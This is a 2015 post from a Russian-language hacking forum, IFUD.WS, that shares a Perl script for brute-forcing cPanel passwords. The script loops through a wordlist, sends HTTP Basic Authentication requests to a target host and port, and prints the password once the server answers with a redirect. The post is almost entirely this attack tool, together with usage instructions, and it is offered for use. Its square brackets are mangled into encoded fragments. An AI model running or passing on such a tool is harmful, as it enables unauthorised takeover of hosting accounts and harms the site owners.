1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[PERL]Cpanel Brute

Тема в разделе "Исходные коды", создана пользователем hisg, 6 июн 2015.

  1. TopicStarter Overlay
    hisg

    hisg

    Регистрация:
    6 июн 2015
    Сообщения:
    22
    Симпатии:
    1
    Код:
    #!/usr/bin/perl # Cpanel Password Brute Forcer
    # ----------------------------
    # Coded By Imad'Ox Hunter
    # Perl Hacking Tools Coder
    # Contact http://fb.com/imad.elouajib
    # or imadelouajib@gmail.com
    use IO::Socket;
    use LWP::Simple;
    use MIME::Base64;
    
    $host = $ARGV***91;0***93;;
    $user = $ARGV***91;1***93;;
    $port = $ARGV***91;2***93;;
    $list = $ARGV***91;3***93;;
    $file = $ARGV***91;4***93;;
    $url = "http://".$host.":".$port;
    if(@ARGV < 3){
    print q(
    
    
    *:*:*:*:*:*: Cpanel Password Brute Forcer :*:*:*:*:*:*:*:*:*:*
    
    --+ Usage : cpanel.pl ***91;HOST***93; ***91;User***93; ***91;PORT***93;***91;Wordlist***93; ***91;Save Wordlist***93; +--
    --+ Example : cpanel.pl localhost admin 2082 Wordlist.lst cracked.txt +--
    
    
    Explication :
    HOST => TARGET HOST
    USER => USERNAME
    PORT => THE CPANEL PORT
    LIST => WORDLITS FILE
    SAVE WORDLIST => FILE TO SAVE THE WORDLIST
    
    
    *:*:*:*:*:*: Coded By Imad'Ox Hunter :*:*:*:*:*:*:*:*:*:*
    );exit;}
    
    headx();
    
    $numstart = "-1";
    
    sub headx() {
    print q(
    
    +:+:+:+:+:+:+:+:+:+: Cpanel Password Brute Force Tool :+:+:+:+:+:
    :+:+:+:+:+:+:+:+:+ Coded By Imad'Ox Hunter +:+:+:+:+:+
    
    );
    open (PASSFILE, "<$list") || die "***91;-***93; Wordlist Not Found !";
    @PASSWORDS = <PASSFILE>;
    close PASSFILE;
    foreach my $P (@PASSWORDS) {
    chomp $P;
    $passwd = $P;
    print "
    ***91;~***93; Try Password : $passwd
    ";
    &brut;
    };
    }
    sub brut() {
    $authx = encode_base64($user.":".$passwd);
    print $authx;
    my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
    ***91;-***93; Can't Connect To The Target Host o.O ";
    print $sock "GET / HTTP/1.1
    ";
    print $sock "Authorization: Basic $authx
    ";
    print $sock "Connection: Close
    
    ";
    read $sock, $answer, 128;
    close($sock);
    
    if ($answer =~ /Moved/) {
    print "
    ***91;~***93; PASSWORD FOUND :D : $passwd
    ";
    exit();
    }
    }
    
     
    Метки:

Поделиться этой страницей

Загрузка...